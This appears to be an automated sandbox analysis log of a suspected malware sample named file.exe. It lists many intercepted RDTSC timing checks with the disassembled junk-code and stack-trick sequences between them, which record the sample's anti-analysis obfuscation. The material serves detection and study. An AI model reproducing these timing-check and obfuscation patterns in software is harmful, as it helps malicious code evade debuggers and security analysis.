Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13563E6 second address: 1356417 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F15490E9B93h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F15490E9B95h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1356417 second address: 135641C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135641C second address: 135643A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F15490E9B93h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135643A second address: 135643E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135643E second address: 1356444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13565EF second address: 13565F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13565F3 second address: 1356603 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a js 00007F15490E9B86h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135694A second address: 1356959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F1548D0B2F6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1356959 second address: 135695D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1356D60 second address: 1356D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1356D64 second address: 1356D68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F2C9 second address: 135F2D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F1548D0B2F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F2D3 second address: 135F2FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15490E9B8Ch 0x00000007 jno 00007F15490E9B86h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F15490E9B91h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135EE48 second address: 135EE98 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F1548D0B306h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c js 00007F1548D0B32Dh 0x00000012 js 00007F1548D0B30Ch 0x00000018 jmp 00007F1548D0B306h 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F1548D0B2FFh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136D887 second address: 136D88B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136D88B second address: 136D891 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136D891 second address: 136D897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136D897 second address: 136D8A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1548D0B2FBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136D8A6 second address: 136D8CA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F15490E9B96h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F15490E9B86h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13703B0 second address: 13703B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137222A second address: 1372230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1372230 second address: 1372251 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1548D0B2F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1548D0B303h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1372251 second address: 1372255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1372255 second address: 137225D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137225D second address: 1372266 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389813 second address: 1389819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389819 second address: 138981F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138981F second address: 1389824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389824 second address: 1389832 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13899CA second address: 13899CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389AFA second address: 1389AFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389AFE second address: 1389B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389B04 second address: 1389B12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F15490E9B88h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389B12 second address: 1389B32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1548D0B308h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389B32 second address: 1389B36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389F61 second address: 1389F65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1389F65 second address: 1389F74 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F15490E9B86h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138DC8A second address: 138DCAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1548D0B304h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F1548D0B2F6h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138DCAD second address: 138DCB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138D965 second address: 138D9A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1548D0B2FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F1548D0B302h 0x0000000f push ebx 0x00000010 js 00007F1548D0B2F6h 0x00000016 pop ebx 0x00000017 popad 0x00000018 pushad 0x00000019 pushad 0x0000001a jmp 00007F1548D0B2FFh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138F371 second address: 138F377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138F377 second address: 138F386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F1548D0B2F6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138F386 second address: 138F38A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138F38A second address: 138F38E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138F38E second address: 138F394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138F394 second address: 138F3A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c ja 00007F1548D0B2F6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138F3A8 second address: 138F3AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139F2AD second address: 139F2B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139F2B2 second address: 139F2CC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pop eax 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F15490E9B90h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139F2CC second address: 139F2D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13ABA7E second address: 13ABA82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13ABA82 second address: 13ABAC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F1548D0B309h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F1548D0B2FAh 0x00000010 jbe 00007F1548D0B312h 0x00000016 jmp 00007F1548D0B306h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AB519 second address: 13AB530 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15490E9B8Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AB530 second address: 13AB534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AB534 second address: 13AB53E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F15490E9B86h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AB53E second address: 13AB544 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AB544 second address: 13AB55F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15490E9B92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AB55F second address: 13AB56B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AB56B second address: 13AB56F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AB6DB second address: 13AB6F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1548D0B2FDh 0x00000007 jnp 00007F1548D0B2F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AB6F2 second address: 13AB70D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15490E9B97h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AB70D second address: 13AB717 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1548D0B2F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AD430 second address: 13AD44F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jmp 00007F15490E9B92h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD257 second address: 13BD267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F1548D0B2FBh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD267 second address: 13BD285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push edi 0x00000009 jmp 00007F15490E9B8Eh 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD285 second address: 13BD289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD710 second address: 13BD72C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F15490E9B97h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD72C second address: 13BD743 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1548D0B301h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD743 second address: 13BD754 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F15490E9B86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD754 second address: 13BD75A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD75A second address: 13BD78B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15490E9B94h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F15490E9B94h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD78B second address: 13BD7A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1548D0B306h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BDBAF second address: 13BDBC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jc 00007F15490E9BCCh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BDBC2 second address: 13BDBC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BDD5C second address: 13BDD63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C0D69 second address: 13C0D6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C0D6D second address: 13C0D77 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F15490E9B86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C0D77 second address: 13C0E30 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1548D0B303h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F1548D0B2F8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 sub dword ptr [ebp+122D2896h], ecx 0x0000002d push 00000004h 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007F1548D0B2F8h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 00000018h 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 mov dword ptr [ebp+122D2325h], esi 0x0000004f call 00007F1548D0B2F9h 0x00000054 jmp 00007F1548D0B2FAh 0x00000059 push eax 0x0000005a jmp 00007F1548D0B2FEh 0x0000005f mov eax, dword ptr [esp+04h] 0x00000063 pushad 0x00000064 pushad 0x00000065 push edx 0x00000066 pop edx 0x00000067 jmp 00007F1548D0B2FEh 0x0000006c popad 0x0000006d jnp 00007F1548D0B2FCh 0x00000073 popad 0x00000074 mov eax, dword ptr [eax] 0x00000076 pushad 0x00000077 push eax 0x00000078 push eax 0x00000079 push edx 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C1046 second address: 13C104C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C104C second address: 13C1050 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C1050 second address: 13C108C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+122D36CBh], ecx 0x0000000f push dword ptr [ebp+122D2D2Bh] 0x00000015 stc 0x00000016 call 00007F15490E9B89h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F15490E9B99h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C108C second address: 13C109E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1548D0B2FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C109E second address: 13C10A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C10A4 second address: 13C10A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C10A8 second address: 13C10EA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F15490E9B86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f jmp 00007F15490E9B99h 0x00000014 pop edx 0x00000015 pop edx 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a pushad 0x0000001b jmp 00007F15490E9B90h 0x00000020 push ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C5E8A second address: 13C5EAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 js 00007F1548D0B30Dh 0x0000000b jmp 00007F1548D0B307h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E0335 second address: 57E0339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E0339 second address: 57E033F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E033F second address: 57E0345 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E0345 second address: 57E0369 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007F1548D0B2FAh 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F1548D0B2FAh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E0369 second address: 57E036D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E036D second address: 57E0373 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E0373 second address: 57E039E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15490E9B8Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F15490E9B90h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E039E second address: 57E03BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1548D0B309h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E03F3 second address: 57E0474 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15490E9B99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F15490E9B8Ch 0x00000011 and ecx, 254EC378h 0x00000017 jmp 00007F15490E9B8Bh 0x0000001c popfd 0x0000001d movzx ecx, dx 0x00000020 popad 0x00000021 push eax 0x00000022 jmp 00007F15490E9B92h 0x00000027 xchg eax, ebp 0x00000028 jmp 00007F15490E9B90h 0x0000002d mov ebp, esp 0x0000002f jmp 00007F15490E9B90h 0x00000034 pop ebp 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 pushad 0x00000039 popad 0x0000003a mov bh, 0Dh 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57E0474 second address: 57E047A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
